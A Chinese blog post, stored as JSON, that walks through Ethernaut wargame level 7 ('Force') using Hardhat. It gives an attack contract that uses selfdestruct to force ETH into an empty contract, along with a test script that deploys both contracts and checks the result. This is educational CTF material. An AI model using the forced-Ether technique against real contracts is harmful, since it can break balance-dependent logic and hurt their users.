{"content":{"title":"用Hardhat闯关Ethernaut题7 -Force","body":"# Force合约\r\n## 任务：让合约的余额大于0，也就是能把ETH转进去就行。\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ncontract Force {/*\r\n\r\n                   MEOW ?\r\n         /\\_/\\   /\r\n    ____/ o o \\\r\n  /~____  =ø= /\r\n (______)__m_m)\r\n\r\n*/}\r\n```\r\n这是一个空合约，是没法直接send，call，transfer转进去ETH，但是`selfdestruct`函数是可以强制将合约剩余ETH转到指定地址的，`selfdestruct`函数的用法：https://github.com/AmazingAng/WTFSolidity/tree/main/26_DeleteContract；\r\n\r\n解题思路就简单了：\r\n    1.创建一个攻击合约，然后定义一个`attack`方法包含`selfdestruct`函数并指定`Force`合约地址；\r\n    2.往攻击合约转账；\r\n    3.调用攻击合约的`attack`方法；\r\n    \r\n    \r\n## 攻击合约：\r\n \r\n```\r\n// SPDX-License-Identifier: MIT\r\n\r\npragma solidity ^0.6.0;\r\n\r\ncontract AttackForce {\r\n    constructor() public payable {}\r\n\r\n    receive() external payable {}\r\n\r\n    function attack(address payable target) public {\r\n        selfdestruct(target);\r\n    }\r\n}\r\n\r\n```\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\nconst { parseEther } = require(\"ethers/lib/utils\");\r\n\r\ndescribe(\"test\", function () {\r\n    var Force;\r\n    var AttackForce;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const ForceInstance = await ethers.getContractFactory(\"Force\");\r\n        Force = await ForceInstance.deploy();\r\n\r\n        const AttackForceInstance = await ethers.getContractFactory(\"AttackForce\");\r\n        AttackForce = await AttackForceInstance.deploy();\r\n    });\r\n    it(\"hack test\", async function () {\r\n        await deployer.sendTransaction({\r\n            to: AttackForce.address,\r\n            value: parseEther(\"1\"),\r\n        });\r\n        await AttackForce.attack(Force.address);\r\n        const balance = await ethers.provider.getBalance(Force.address);\r\n        expect(balance).to.equal(parseEther(\"1\"));\r\n    });\r\n});\r\n```\r\n## 测试结果：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/OQsTxcF06322f2c1d0acf.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmZdYB6Yh9LtJF8M9RsZ3YwrFo9KZJ5MQmcXtqcaAoiRsq","timestamp":1668564452,"version":1}